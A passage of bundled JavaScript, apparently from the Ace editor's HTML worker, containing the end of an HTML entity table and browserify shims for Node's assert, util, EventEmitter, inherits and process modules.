"\u2AD6", "swarhk;": "\u2926", "swarr;": "\u2199", "swArr;": "\u21D9", "swarrow;": "\u2199", "swnwar;": "\u292A", "szlig;": "\u00DF", "szlig": "\u00DF", "Tab;": "\u0009", "target;": "\u2316", "Tau;": "\u03A4", "tau;": "\u03C4", "tbrk;": "\u23B4", "Tcaron;": "\u0164", "tcaron;": "\u0165", "Tcedil;": "\u0162", "tcedil;": "\u0163", "Tcy;": "\u0422", "tcy;": "\u0442", "tdot;": "\u20DB", "telrec;": "\u2315", "Tfr;": "\uD835\uDD17", "tfr;": "\uD835\uDD31", "there4;": "\u2234", "therefore;": "\u2234", "Therefore;": "\u2234", "Theta;": "\u0398", "theta;": "\u03B8", "thetasym;": "\u03D1", "thetav;": "\u03D1", "thickapprox;": "\u2248", "thicksim;": "\u223C", "ThickSpace;": "\u205F\u200A", "ThinSpace;": "\u2009", "thinsp;": "\u2009", "thkap;": "\u2248", "thksim;": "\u223C", "THORN;": "\u00DE", "THORN": "\u00DE", "thorn;": "\u00FE", "thorn": "\u00FE", "tilde;": "\u02DC", "Tilde;": "\u223C", "TildeEqual;": "\u2243", "TildeFullEqual;": "\u2245", "TildeTilde;": "\u2248", "timesbar;": "\u2A31", "timesb;": "\u22A0", "times;": "\u00D7", "times": "\u00D7", "timesd;": "\u2A30", "tint;": "\u222D", "toea;": "\u2928", "topbot;": "\u2336", "topcir;": "\u2AF1", "top;": "\u22A4", "Topf;": "\uD835\uDD4B", "topf;": "\uD835\uDD65", "topfork;": "\u2ADA", "tosa;": "\u2929", "tprime;": "\u2034", "trade;": "\u2122", "TRADE;": "\u2122", "triangle;": "\u25B5", "triangledown;": "\u25BF", "triangleleft;": "\u25C3", "trianglelefteq;": "\u22B4", "triangleq;": "\u225C", "triangleright;": "\u25B9", "trianglerighteq;": "\u22B5", "tridot;": "\u25EC", "trie;": "\u225C", "triminus;": "\u2A3A", "TripleDot;": "\u20DB", "triplus;": "\u2A39", "trisb;": "\u29CD", "tritime;": "\u2A3B", "trpezium;": "\u23E2", "Tscr;": "\uD835\uDCAF", "tscr;": "\uD835\uDCC9", "TScy;": "\u0426", "tscy;": "\u0446", "TSHcy;": "\u040B", "tshcy;": "\u045B", "Tstrok;": "\u0166", "tstrok;": "\u0167", "twixt;": "\u226C", "twoheadleftarrow;": "\u219E", "twoheadrightarrow;": "\u21A0", "Uacute;": "\u00DA", "Uacute": "\u00DA", "uacute;": "\u00FA", "uacute": "\u00FA", "uarr;": "\u2191", "Uarr;": "\u219F", "uArr;": "\u21D1", "Uarrocir;": "\u2949", "Ubrcy;": "\u040E", "ubrcy;": "\u045E", "Ubreve;": "\u016C", "ubreve;": "\u016D", "Ucirc;": "\u00DB", "Ucirc": "\u00DB", "ucirc;": "\u00FB", "ucirc": "\u00FB", "Ucy;": "\u0423", "ucy;": "\u0443", "udarr;": "\u21C5", "Udblac;": "\u0170", "udblac;": "\u0171", "udhar;": "\u296E", "ufisht;": "\u297E", "Ufr;": "\uD835\uDD18", "ufr;": "\uD835\uDD32", "Ugrave;": "\u00D9", "Ugrave": "\u00D9", "ugrave;": "\u00F9", "ugrave": "\u00F9", "uHar;": "\u2963", "uharl;": "\u21BF", "uharr;": "\u21BE", "uhblk;": "\u2580", "ulcorn;": "\u231C", "ulcorner;": "\u231C", "ulcrop;": "\u230F", "ultri;": "\u25F8", "Umacr;": "\u016A", "umacr;": "\u016B", "uml;": "\u00A8", "uml": "\u00A8", "UnderBar;": "\u005F", "UnderBrace;": "\u23DF", "UnderBracket;": "\u23B5", "UnderParenthesis;": "\u23DD", "Union;": "\u22C3", "UnionPlus;": "\u228E", "Uogon;": "\u0172", "uogon;": "\u0173", "Uopf;": "\uD835\uDD4C", "uopf;": "\uD835\uDD66", "UpArrowBar;": "\u2912", "uparrow;": "\u2191", "UpArrow;": "\u2191", "Uparrow;": "\u21D1", "UpArrowDownArrow;": "\u21C5", "updownarrow;": "\u2195", "UpDownArrow;": "\u2195", "Updownarrow;": "\u21D5", "UpEquilibrium;": "\u296E", "upharpoonleft;": "\u21BF", "upharpoonright;": "\u21BE", "uplus;": "\u228E", "UpperLeftArrow;": "\u2196", "UpperRightArrow;": "\u2197", "upsi;": "\u03C5", "Upsi;": "\u03D2", "upsih;": "\u03D2", "Upsilon;": "\u03A5", "upsilon;": "\u03C5", "UpTeeArrow;": "\u21A5", "UpTee;": "\u22A5", "upuparrows;": "\u21C8", "urcorn;": "\u231D", "urcorner;": "\u231D", "urcrop;": "\u230E", "Uring;": "\u016E", "uring;": "\u016F", "urtri;": "\u25F9", "Uscr;": "\uD835\uDCB0", "uscr;": "\uD835\uDCCA", "utdot;": "\u22F0", "Utilde;": "\u0168", "utilde;": "\u0169", "utri;": "\u25B5", "utrif;": "\u25B4", "uuarr;": "\u21C8", "Uuml;": "\u00DC", "Uuml": "\u00DC", "uuml;": "\u00FC", "uuml": "\u00FC", "uwangle;": "\u29A7", "vangrt;": "\u299C", "varepsilon;": "\u03F5", "varkappa;": "\u03F0", "varnothing;": "\u2205", "varphi;": "\u03D5", "varpi;": "\u03D6", "varpropto;": "\u221D", "varr;": "\u2195", "vArr;": "\u21D5", "varrho;": "\u03F1", "varsigma;": "\u03C2", "varsubsetneq;": "\u228A\uFE00", "varsubsetneqq;": "\u2ACB\uFE00", "varsupsetneq;": "\u228B\uFE00", "varsupsetneqq;": "\u2ACC\uFE00", "vartheta;": "\u03D1", "vartriangleleft;": "\u22B2", "vartriangleright;": "\u22B3", "vBar;": "\u2AE8", "Vbar;": "\u2AEB", "vBarv;": "\u2AE9", "Vcy;": "\u0412", "vcy;": "\u0432", "vdash;": "\u22A2", "vDash;": "\u22A8", "Vdash;": "\u22A9", "VDash;": "\u22AB", "Vdashl;": "\u2AE6", "veebar;": "\u22BB", "vee;": "\u2228", "Vee;": "\u22C1", "veeeq;": "\u225A", "vellip;": "\u22EE", "verbar;": "\u007C", "Verbar;": "\u2016", "vert;": "\u007C", "Vert;": "\u2016", "VerticalBar;": "\u2223", "VerticalLine;": "\u007C", "VerticalSeparator;": "\u2758", "VerticalTilde;": "\u2240", "VeryThinSpace;": "\u200A", "Vfr;": "\uD835\uDD19", "vfr;": "\uD835\uDD33", "vltri;": "\u22B2", "vnsub;": "\u2282\u20D2", "vnsup;": "\u2283\u20D2", "Vopf;": "\uD835\uDD4D", "vopf;": "\uD835\uDD67", "vprop;": "\u221D", "vrtri;": "\u22B3", "Vscr;": "\uD835\uDCB1", "vscr;": "\uD835\uDCCB", "vsubnE;": "\u2ACB\uFE00", "vsubne;": "\u228A\uFE00", "vsupnE;": "\u2ACC\uFE00", "vsupne;": "\u228B\uFE00", "Vvdash;": "\u22AA", "vzigzag;": "\u299A", "Wcirc;": "\u0174", "wcirc;": "\u0175", "wedbar;": "\u2A5F", "wedge;": "\u2227", "Wedge;": "\u22C0", "wedgeq;": "\u2259", "weierp;": "\u2118", "Wfr;": "\uD835\uDD1A", "wfr;": "\uD835\uDD34", "Wopf;": "\uD835\uDD4E", "wopf;": "\uD835\uDD68", "wp;": "\u2118", "wr;": "\u2240", "wreath;": "\u2240", "Wscr;": "\uD835\uDCB2", "wscr;": "\uD835\uDCCC", "xcap;": "\u22C2", "xcirc;": "\u25EF", "xcup;": "\u22C3", "xdtri;": "\u25BD", "Xfr;": "\uD835\uDD1B", "xfr;": "\uD835\uDD35", "xharr;": "\u27F7", "xhArr;": "\u27FA", "Xi;": "\u039E", "xi;": "\u03BE", "xlarr;": "\u27F5", "xlArr;": "\u27F8", "xmap;": "\u27FC", "xnis;": "\u22FB", "xodot;": "\u2A00", "Xopf;": "\uD835\uDD4F", "xopf;": "\uD835\uDD69", "xoplus;": "\u2A01", "xotime;": "\u2A02", "xrarr;": "\u27F6", "xrArr;": "\u27F9", "Xscr;": "\uD835\uDCB3", "xscr;": "\uD835\uDCCD", "xsqcup;": "\u2A06", "xuplus;": "\u2A04", "xutri;": "\u25B3", "xvee;": "\u22C1", "xwedge;": "\u22C0", "Yacute;": "\u00DD", "Yacute": "\u00DD", "yacute;": "\u00FD", "yacute": "\u00FD", "YAcy;": "\u042F", "yacy;": "\u044F", "Ycirc;": "\u0176", "ycirc;": "\u0177", "Ycy;": "\u042B", "ycy;": "\u044B", "yen;": "\u00A5", "yen": "\u00A5", "Yfr;": "\uD835\uDD1C", "yfr;": "\uD835\uDD36", "YIcy;": "\u0407", "yicy;": "\u0457", "Yopf;": "\uD835\uDD50", "yopf;": "\uD835\uDD6A", "Yscr;": "\uD835\uDCB4", "yscr;": "\uD835\uDCCE", "YUcy;": "\u042E", "yucy;": "\u044E", "yuml;": "\u00FF", "yuml": "\u00FF", "Yuml;": "\u0178", "Zacute;": "\u0179", "zacute;": "\u017A", "Zcaron;": "\u017D", "zcaron;": "\u017E", "Zcy;": "\u0417", "zcy;": "\u0437", "Zdot;": "\u017B", "zdot;": "\u017C", "zeetrf;": "\u2128", "ZeroWidthSpace;": "\u200B", "Zeta;": "\u0396", "zeta;": "\u03B6", "zfr;": "\uD835\uDD37", "Zfr;": "\u2128", "ZHcy;": "\u0416", "zhcy;": "\u0436", "zigrarr;": "\u21DD", "zopf;": "\uD835\uDD6B", "Zopf;": "\u2124", "Zscr;": "\uD835\uDCB5", "zscr;": "\uD835\uDCCF", "zwj;": "\u200D", "zwnj;": "\u200C" }; }, {}], 13:[function(_dereq_,module,exports){ var util = _dereq_('util/'); var pSlice = Array.prototype.slice; var hasOwn = Object.prototype.hasOwnProperty; var assert = module.exports = ok; assert.AssertionError = function AssertionError(options) { this.name = 'AssertionError'; this.actual = options.actual; this.expected = options.expected; this.operator = options.operator; if (options.message) { this.message = options.message; this.generatedMessage = false; } else { this.message = getMessage(this); this.generatedMessage = true; } var stackStartFunction = options.stackStartFunction || fail; if (Error.captureStackTrace) { Error.captureStackTrace(this, stackStartFunction); } else { var err = new Error(); if (err.stack) { var out = err.stack; var fn_name = stackStartFunction.name; var idx = out.indexOf('\n' + fn_name); if (idx >= 0) { var next_line = out.indexOf('\n', idx + 1); out = out.substring(next_line + 1); } this.stack = out; } } }; util.inherits(assert.AssertionError, Error); function replacer(key, value) { if (util.isUndefined(value)) { return '' + value; } if (util.isNumber(value) && (isNaN(value) || !isFinite(value))) { return value.toString(); } if (util.isFunction(value) || util.isRegExp(value)) { return value.toString(); } return value; } function truncate(s, n) { if (util.isString(s)) { return s.length < n ? s : s.slice(0, n); } else { return s; } } function getMessage(self) { return truncate(JSON.stringify(self.actual, replacer), 128) + ' ' + self.operator + ' ' + truncate(JSON.stringify(self.expected, replacer), 128); } function fail(actual, expected, message, operator, stackStartFunction) { throw new assert.AssertionError({ message: message, actual: actual, expected: expected, operator: operator, stackStartFunction: stackStartFunction }); } assert.fail = fail; function ok(value, message) { if (!value) fail(value, true, message, '==', assert.ok); } assert.ok = ok; assert.equal = function equal(actual, expected, message) { if (actual != expected) fail(actual, expected, message, '==', assert.equal); }; assert.notEqual = function notEqual(actual, expected, message) { if (actual == expected) { fail(actual, expected, message, '!=', assert.notEqual); } }; assert.deepEqual = function deepEqual(actual, expected, message) { if (!_deepEqual(actual, expected)) { fail(actual, expected, message, 'deepEqual', assert.deepEqual); } }; function _deepEqual(actual, expected) { if (actual === expected) { return true; } else if (util.isBuffer(actual) && util.isBuffer(expected)) { if (actual.length != expected.length) return false; for (var i = 0; i < actual.length; i++) { if (actual[i] !== expected[i]) return false; } return true; } else if (util.isDate(actual) && util.isDate(expected)) { return actual.getTime() === expected.getTime(); } else if (util.isRegExp(actual) && util.isRegExp(expected)) { return actual.source === expected.source && actual.global === expected.global && actual.multiline === expected.multiline && actual.lastIndex === expected.lastIndex && actual.ignoreCase === expected.ignoreCase; } else if (!util.isObject(actual) && !util.isObject(expected)) { return actual == expected; } else { return objEquiv(actual, expected); } } function isArguments(object) { return Object.prototype.toString.call(object) == '[object Arguments]'; } function objEquiv(a, b) { if (util.isNullOrUndefined(a) || util.isNullOrUndefined(b)) return false; if (a.prototype !== b.prototype) return false; if (isArguments(a)) { if (!isArguments(b)) { return false; } a = pSlice.call(a); b = pSlice.call(b); return _deepEqual(a, b); } try { var ka = objectKeys(a), kb = objectKeys(b), key, i; } catch (e) {//happens when one is a string literal and the other isn't return false; } if (ka.length != kb.length) return false; ka.sort(); kb.sort(); for (i = ka.length - 1; i >= 0; i--) { if (ka[i] != kb[i]) return false; } for (i = ka.length - 1; i >= 0; i--) { key = ka[i]; if (!_deepEqual(a[key], b[key])) return false; } return true; } assert.notDeepEqual = function notDeepEqual(actual, expected, message) { if (_deepEqual(actual, expected)) { fail(actual, expected, message, 'notDeepEqual', assert.notDeepEqual); } }; assert.strictEqual = function strictEqual(actual, expected, message) { if (actual !== expected) { fail(actual, expected, message, '===', assert.strictEqual); } }; assert.notStrictEqual = function notStrictEqual(actual, expected, message) { if (actual === expected) { fail(actual, expected, message, '!==', assert.notStrictEqual); } }; function expectedException(actual, expected) { if (!actual || !expected) { return false; } if (Object.prototype.toString.call(expected) == '[object RegExp]') { return expected.test(actual); } else if (actual instanceof expected) { return true; } else if (expected.call({}, actual) === true) { return true; } return false; } function _throws(shouldThrow, block, expected, message) { var actual; if (util.isString(expected)) { message = expected; expected = null; } try { block(); } catch (e) { actual = e; } message = (expected && expected.name ? ' (' + expected.name + ').' : '.') + (message ? ' ' + message : '.'); if (shouldThrow && !actual) { fail(actual, expected, 'Missing expected exception' + message); } if (!shouldThrow && expectedException(actual, expected)) { fail(actual, expected, 'Got unwanted exception' + message); } if ((shouldThrow && actual && expected && !expectedException(actual, expected)) || (!shouldThrow && actual)) { throw actual; } } assert.throws = function(block, /*optional*/error, /*optional*/message) { _throws.apply(this, [true].concat(pSlice.call(arguments))); }; assert.doesNotThrow = function(block, /*optional*/message) { _throws.apply(this, [false].concat(pSlice.call(arguments))); }; assert.ifError = function(err) { if (err) {throw err;}}; var objectKeys = Object.keys || function (obj) { var keys = []; for (var key in obj) { if (hasOwn.call(obj, key)) keys.push(key); } return keys; }; }, {"util/":15}], 14:[function(_dereq_,module,exports){ module.exports = function isBuffer(arg) { return arg && typeof arg === 'object' && typeof arg.copy === 'function' && typeof arg.fill === 'function' && typeof arg.readUInt8 === 'function'; } }, {}], 15:[function(_dereq_,module,exports){ (function (process,global){ var formatRegExp = /%[sdj%]/g; exports.format = function(f) { if (!isString(f)) { var objects = []; for (var i = 0; i < arguments.length; i++) { objects.push(inspect(arguments[i])); } return objects.join(' '); } var i = 1; var args = arguments; var len = args.length; var str = String(f).replace(formatRegExp, function(x) { if (x === '%%') return '%'; if (i >= len) return x; switch (x) { case '%s': return String(args[i++]); case '%d': return Number(args[i++]); case '%j': try { return JSON.stringify(args[i++]); } catch (_) { return '[Circular]'; } default: return x; } }); for (var x = args[i]; i < len; x = args[++i]) { if (isNull(x) || !isObject(x)) { str += ' ' + x; } else { str += ' ' + inspect(x); } } return str; }; exports.deprecate = function(fn, msg) { if (isUndefined(global.process)) { return function() { return exports.deprecate(fn, msg).apply(this, arguments); }; } if (process.noDeprecation === true) { return fn; } var warned = false; function deprecated() { if (!warned) { if (process.throwDeprecation) { throw new Error(msg); } else if (process.traceDeprecation) { console.trace(msg); } else { console.error(msg); } warned = true; } return fn.apply(this, arguments); } return deprecated; }; var debugs = {}; var debugEnviron; exports.debuglog = function(set) { if (isUndefined(debugEnviron)) debugEnviron = process.env.NODE_DEBUG || ''; set = set.toUpperCase(); if (!debugs[set]) { if (new RegExp('\\b' + set + '\\b', 'i').test(debugEnviron)) { var pid = process.pid; debugs[set] = function() { var msg = exports.format.apply(exports, arguments); console.error('%s %d: %s', set, pid, msg); }; } else { debugs[set] = function() {}; } } return debugs[set]; }; function inspect(obj, opts) { var ctx = { seen: [], stylize: stylizeNoColor }; if (arguments.length >= 3) ctx.depth = arguments[2]; if (arguments.length >= 4) ctx.colors = arguments[3]; if (isBoolean(opts)) { ctx.showHidden = opts; } else if (opts) { exports._extend(ctx, opts); } if (isUndefined(ctx.showHidden)) ctx.showHidden = false; if (isUndefined(ctx.depth)) ctx.depth = 2; if (isUndefined(ctx.colors)) ctx.colors = false; if (isUndefined(ctx.customInspect)) ctx.customInspect = true; if (ctx.colors) ctx.stylize = stylizeWithColor; return formatValue(ctx, obj, ctx.depth); } exports.inspect = inspect; inspect.colors = { 'bold' : [1, 22], 'italic' : [3, 23], 'underline' : [4, 24], 'inverse' : [7, 27], 'white' : [37, 39], 'grey' : [90, 39], 'black' : [30, 39], 'blue' : [34, 39], 'cyan' : [36, 39], 'green' : [32, 39], 'magenta' : [35, 39], 'red' : [31, 39], 'yellow' : [33, 39] }; inspect.styles = { 'special': 'cyan', 'number': 'yellow', 'boolean': 'yellow', 'undefined': 'grey', 'null': 'bold', 'string': 'green', 'date': 'magenta', 'regexp': 'red' }; function stylizeWithColor(str, styleType) { var style = inspect.styles[styleType]; if (style) { return '\u001b[' + inspect.colors[style][0] + 'm' + str + '\u001b[' + inspect.colors[style][1] + 'm'; } else { return str; } } function stylizeNoColor(str, styleType) { return str; } function arrayToHash(array) { var hash = {}; array.forEach(function(val, idx) { hash[val] = true; }); return hash; } function formatValue(ctx, value, recurseTimes) { if (ctx.customInspect && value && isFunction(value.inspect) && value.inspect !== exports.inspect && !(value.constructor && value.constructor.prototype === value)) { var ret = value.inspect(recurseTimes, ctx); if (!isString(ret)) { ret = formatValue(ctx, ret, recurseTimes); } return ret; } var primitive = formatPrimitive(ctx, value); if (primitive) { return primitive; } var keys = Object.keys(value); var visibleKeys = arrayToHash(keys); if (ctx.showHidden) { keys = Object.getOwnPropertyNames(value); } if (isError(value) && (keys.indexOf('message') >= 0 || keys.indexOf('description') >= 0)) { return formatError(value); } if (keys.length === 0) { if (isFunction(value)) { var name = value.name ? ': ' + value.name : ''; return ctx.stylize('[Function' + name + ']', 'special'); } if (isRegExp(value)) { return ctx.stylize(RegExp.prototype.toString.call(value), 'regexp'); } if (isDate(value)) { return ctx.stylize(Date.prototype.toString.call(value), 'date'); } if (isError(value)) { return formatError(value); } } var base = '', array = false, braces = ['{', '}']; if (isArray(value)) { array = true; braces = ['[', ']']; } if (isFunction(value)) { var n = value.name ? ': ' + value.name : ''; base = ' [Function' + n + ']'; } if (isRegExp(value)) { base = ' ' + RegExp.prototype.toString.call(value); } if (isDate(value)) { base = ' ' + Date.prototype.toUTCString.call(value); } if (isError(value)) { base = ' ' + formatError(value); } if (keys.length === 0 && (!array || value.length == 0)) { return braces[0] + base + braces[1]; } if (recurseTimes < 0) { if (isRegExp(value)) { return ctx.stylize(RegExp.prototype.toString.call(value), 'regexp'); } else { return ctx.stylize('[Object]', 'special'); } } ctx.seen.push(value); var output; if (array) { output = formatArray(ctx, value, recurseTimes, visibleKeys, keys); } else { output = keys.map(function(key) { return formatProperty(ctx, value, recurseTimes, visibleKeys, key, array); }); } ctx.seen.pop(); return reduceToSingleString(output, base, braces); } function formatPrimitive(ctx, value) { if (isUndefined(value)) return ctx.stylize('undefined', 'undefined'); if (isString(value)) { var simple = '\'' + JSON.stringify(value).replace(/^"|"$/g, '') .replace(/'/g, "\\'") .replace(/\\"/g, '"') + '\''; return ctx.stylize(simple, 'string'); } if (isNumber(value)) return ctx.stylize('' + value, 'number'); if (isBoolean(value)) return ctx.stylize('' + value, 'boolean'); if (isNull(value)) return ctx.stylize('null', 'null'); } function formatError(value) { return '[' + Error.prototype.toString.call(value) + ']'; } function formatArray(ctx, value, recurseTimes, visibleKeys, keys) { var output = []; for (var i = 0, l = value.length; i < l; ++i) { if (hasOwnProperty(value, String(i))) { output.push(formatProperty(ctx, value, recurseTimes, visibleKeys, String(i), true)); } else { output.push(''); } } keys.forEach(function(key) { if (!key.match(/^\d+$/)) { output.push(formatProperty(ctx, value, recurseTimes, visibleKeys, key, true)); } }); return output; } function formatProperty(ctx, value, recurseTimes, visibleKeys, key, array) { var name, str, desc; desc = Object.getOwnPropertyDescriptor(value, key) || { value: value[key] }; if (desc.get) { if (desc.set) { str = ctx.stylize('[Getter/Setter]', 'special'); } else { str = ctx.stylize('[Getter]', 'special'); } } else { if (desc.set) { str = ctx.stylize('[Setter]', 'special'); } } if (!hasOwnProperty(visibleKeys, key)) { name = '[' + key + ']'; } if (!str) { if (ctx.seen.indexOf(desc.value) < 0) { if (isNull(recurseTimes)) { str = formatValue(ctx, desc.value, null); } else { str = formatValue(ctx, desc.value, recurseTimes - 1); } if (str.indexOf('\n') > -1) { if (array) { str = str.split('\n').map(function(line) { return ' ' + line; }).join('\n').substr(2); } else { str = '\n' + str.split('\n').map(function(line) { return ' ' + line; }).join('\n'); } } } else { str = ctx.stylize('[Circular]', 'special'); } } if (isUndefined(name)) { if (array && key.match(/^\d+$/)) { return str; } name = JSON.stringify('' + key); if (name.match(/^"([a-zA-Z_][a-zA-Z_0-9]*)"$/)) { name = name.substr(1, name.length - 2); name = ctx.stylize(name, 'name'); } else { name = name.replace(/'/g, "\\'") .replace(/\\"/g, '"') .replace(/(^"|"$)/g, "'"); name = ctx.stylize(name, 'string'); } } return name + ': ' + str; } function reduceToSingleString(output, base, braces) { var numLinesEst = 0; var length = output.reduce(function(prev, cur) { numLinesEst++; if (cur.indexOf('\n') >= 0) numLinesEst++; return prev + cur.replace(/\u001b\[\d\d?m/g, '').length + 1; }, 0); if (length > 60) { return braces[0] + (base === '' ? '' : base + '\n ') + ' ' + output.join(',\n ') + ' ' + braces[1]; } return braces[0] + base + ' ' + output.join(', ') + ' ' + braces[1]; } function isArray(ar) { return Array.isArray(ar); } exports.isArray = isArray; function isBoolean(arg) { return typeof arg === 'boolean'; } exports.isBoolean = isBoolean; function isNull(arg) { return arg === null; } exports.isNull = isNull; function isNullOrUndefined(arg) { return arg == null; } exports.isNullOrUndefined = isNullOrUndefined; function isNumber(arg) { return typeof arg === 'number'; } exports.isNumber = isNumber; function isString(arg) { return typeof arg === 'string'; } exports.isString = isString; function isSymbol(arg) { return typeof arg === 'symbol'; } exports.isSymbol = isSymbol; function isUndefined(arg) { return arg === void 0; } exports.isUndefined = isUndefined; function isRegExp(re) { return isObject(re) && objectToString(re) === '[object RegExp]'; } exports.isRegExp = isRegExp; function isObject(arg) { return typeof arg === 'object' && arg !== null; } exports.isObject = isObject; function isDate(d) { return isObject(d) && objectToString(d) === '[object Date]'; } exports.isDate = isDate; function isError(e) { return isObject(e) && (objectToString(e) === '[object Error]' || e instanceof Error); } exports.isError = isError; function isFunction(arg) { return typeof arg === 'function'; } exports.isFunction = isFunction; function isPrimitive(arg) { return arg === null || typeof arg === 'boolean' || typeof arg === 'number' || typeof arg === 'string' || typeof arg === 'symbol' || // ES6 symbol typeof arg === 'undefined'; } exports.isPrimitive = isPrimitive; exports.isBuffer = _dereq_('./support/isBuffer'); function objectToString(o) { return Object.prototype.toString.call(o); } function pad(n) { return n < 10 ? '0' + n.toString(10) : n.toString(10); } var months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']; function timestamp() { var d = new Date(); var time = [pad(d.getHours()), pad(d.getMinutes()), pad(d.getSeconds())].join(':'); return [d.getDate(), months[d.getMonth()], time].join(' '); } exports.log = function() { console.log('%s - %s', timestamp(), exports.format.apply(exports, arguments)); }; exports.inherits = _dereq_('inherits'); exports._extend = function(origin, add) { if (!add || !isObject(add)) return origin; var keys = Object.keys(add); var i = keys.length; while (i--) { origin[keys[i]] = add[keys[i]]; } return origin; }; function hasOwnProperty(obj, prop) { return Object.prototype.hasOwnProperty.call(obj, prop); } }).call(this,_dereq_("/usr/local/lib/node_modules/browserify/node_modules/insert-module-globals/node_modules/process/browser.js"),typeof self !== "undefined" ? self : typeof window !== "undefined" ? window : {}) }, {"./support/isBuffer":14,"/usr/local/lib/node_modules/browserify/node_modules/insert-module-globals/node_modules/process/browser.js":18,"inherits":17}], 16:[function(_dereq_,module,exports){ function EventEmitter() { this._events = this._events || {}; this._maxListeners = this._maxListeners || undefined; } module.exports = EventEmitter; EventEmitter.EventEmitter = EventEmitter; EventEmitter.prototype._events = undefined; EventEmitter.prototype._maxListeners = undefined; EventEmitter.defaultMaxListeners = 10; EventEmitter.prototype.setMaxListeners = function(n) { if (!isNumber(n) || n < 0 || isNaN(n)) throw TypeError('n must be a positive number'); this._maxListeners = n; return this; }; EventEmitter.prototype.emit = function(type) { var er, handler, len, args, i, listeners; if (!this._events) this._events = {}; if (type === 'error') { if (!this._events.error || (isObject(this._events.error) && !this._events.error.length)) { er = arguments[1]; if (er instanceof Error) { throw er; // Unhandled 'error' event } else { throw TypeError('Uncaught, unspecified "error" event.'); } return false; } } handler = this._events[type]; if (isUndefined(handler)) return false; if (isFunction(handler)) { switch (arguments.length) { case 1: handler.call(this); break; case 2: handler.call(this, arguments[1]); break; case 3: handler.call(this, arguments[1], arguments[2]); break; default: len = arguments.length; args = new Array(len - 1); for (i = 1; i < len; i++) args[i - 1] = arguments[i]; handler.apply(this, args); } } else if (isObject(handler)) { len = arguments.length; args = new Array(len - 1); for (i = 1; i < len; i++) args[i - 1] = arguments[i]; listeners = handler.slice(); len = listeners.length; for (i = 0; i < len; i++) listeners[i].apply(this, args); } return true; }; EventEmitter.prototype.addListener = function(type, listener) { var m; if (!isFunction(listener)) throw TypeError('listener must be a function'); if (!this._events) this._events = {}; if (this._events.newListener) this.emit('newListener', type, isFunction(listener.listener) ? listener.listener : listener); if (!this._events[type]) this._events[type] = listener; else if (isObject(this._events[type])) this._events[type].push(listener); else this._events[type] = [this._events[type], listener]; if (isObject(this._events[type]) && !this._events[type].warned) { var m; if (!isUndefined(this._maxListeners)) { m = this._maxListeners; } else { m = EventEmitter.defaultMaxListeners; } if (m && m > 0 && this._events[type].length > m) { this._events[type].warned = true; console.error('(node) warning: possible EventEmitter memory ' + 'leak detected. %d listeners added. ' + 'Use emitter.setMaxListeners() to increase limit.', this._events[type].length); console.trace(); } } return this; }; EventEmitter.prototype.on = EventEmitter.prototype.addListener; EventEmitter.prototype.once = function(type, listener) { if (!isFunction(listener)) throw TypeError('listener must be a function'); var fired = false; function g() { this.removeListener(type, g); if (!fired) { fired = true; listener.apply(this, arguments); } } g.listener = listener; this.on(type, g); return this; }; EventEmitter.prototype.removeListener = function(type, listener) { var list, position, length, i; if (!isFunction(listener)) throw TypeError('listener must be a function'); if (!this._events || !this._events[type]) return this; list = this._events[type]; length = list.length; position = -1; if (list === listener || (isFunction(list.listener) && list.listener === listener)) { delete this._events[type]; if (this._events.removeListener) this.emit('removeListener', type, listener); } else if (isObject(list)) { for (i = length; i-- > 0;) { if (list[i] === listener || (list[i].listener && list[i].listener === listener)) { position = i; break; } } if (position < 0) return this; if (list.length === 1) { list.length = 0; delete this._events[type]; } else { list.splice(position, 1); } if (this._events.removeListener) this.emit('removeListener', type, listener); } return this; }; EventEmitter.prototype.removeAllListeners = function(type) { var key, listeners; if (!this._events) return this; if (!this._events.removeListener) { if (arguments.length === 0) this._events = {}; else if (this._events[type]) delete this._events[type]; return this; } if (arguments.length === 0) { for (key in this._events) { if (key === 'removeListener') continue; this.removeAllListeners(key); } this.removeAllListeners('removeListener'); this._events = {}; return this; } listeners = this._events[type]; if (isFunction(listeners)) { this.removeListener(type, listeners); } else { while (listeners.length) this.removeListener(type, listeners[listeners.length - 1]); } delete this._events[type]; return this; }; EventEmitter.prototype.listeners = function(type) { var ret; if (!this._events || !this._events[type]) ret = []; else if (isFunction(this._events[type])) ret = [this._events[type]]; else ret = this._events[type].slice(); return ret; }; EventEmitter.listenerCount = function(emitter, type) { var ret; if (!emitter._events || !emitter._events[type]) ret = 0; else if (isFunction(emitter._events[type])) ret = 1; else ret = emitter._events[type].length; return ret; }; function isFunction(arg) { return typeof arg === 'function'; } function isNumber(arg) { return typeof arg === 'number'; } function isObject(arg) { return typeof arg === 'object' && arg !== null; } function isUndefined(arg) { return arg === void 0; } }, {}], 17:[function(_dereq_,module,exports){ if (typeof Object.create === 'function') { module.exports = function inherits(ctor, superCtor) { ctor.super_ = superCtor ctor.prototype = Object.create(superCtor.prototype, { constructor: { value: ctor, enumerable: false, writable: true, configurable: true } }); }; } else { module.exports = function inherits(ctor, superCtor) { ctor.super_ = superCtor var TempCtor = function () {} TempCtor.prototype = superCtor.prototype ctor.prototype = new TempCtor() ctor.prototype.constructor = ctor } } }, {}], 18:[function(_dereq_,module,exports){ var process = module.exports = {}; process.nextTick = (function () { var canSetImmediate = typeof window !== 'undefined' && window.setImmediate; var canPost = typeof window !== 'undefined' && window.postMessage && window.addEventListener ; if (canSetImmediate) { return function (f) { return window.setImmediate(f) }; } if (canPost) { var queue = []; window.addEventListener('message', function (ev) { var source = ev.source; if ((source === window || source === null) && ev.data === 'process-tick') { ev.stopPropagation(); if (queue.length > 0) { var fn = queue.shift(); fn(); } } }, true); return function nextTick(fn) { queue.push(fn); window.postMessage('process-tick', '*'); }; } return function nextTick(fn) { setTimeout(fn, 0); }; })(); process.title = 'browser'; process.browser = true; process.env = {}; process.argv = []; function noop() {} process.on = noop; process.once = noop; process.off = noop; process.emit = noop; process.binding = function (name) { throw new Error('process.binding is not supported'); } process.cwd = function () { return '/' }; process.chdir = function (dir) { throw new Error('process.chdir is not supported'); }; }, {}], 19:[function(_dereq_,module,exports){ module.exports=_dereq_(14) }, {}], 20:[function(_dereq_,module,exports){ module.exports=_dereq_(15) }, {"./support/isBuffer":19,"/usr/local/lib/node_modules/browserify/node_modules/insert-module-globals/node_modules/process/browser.js":18,"inherits":17}]},{},[9]) (9) }); ace.define("ace/mode/html_worker",["require","exports","module","ace/lib/oop","ace/lib/lang","ace/worker/mirror","ace/mode/html/saxparser"], function(require, exports, module) { "use strict"; var oop = require("../lib/oop"); var lang = require("../lib/lang"); var Mirror = require("../worker/mirror").Mirror; 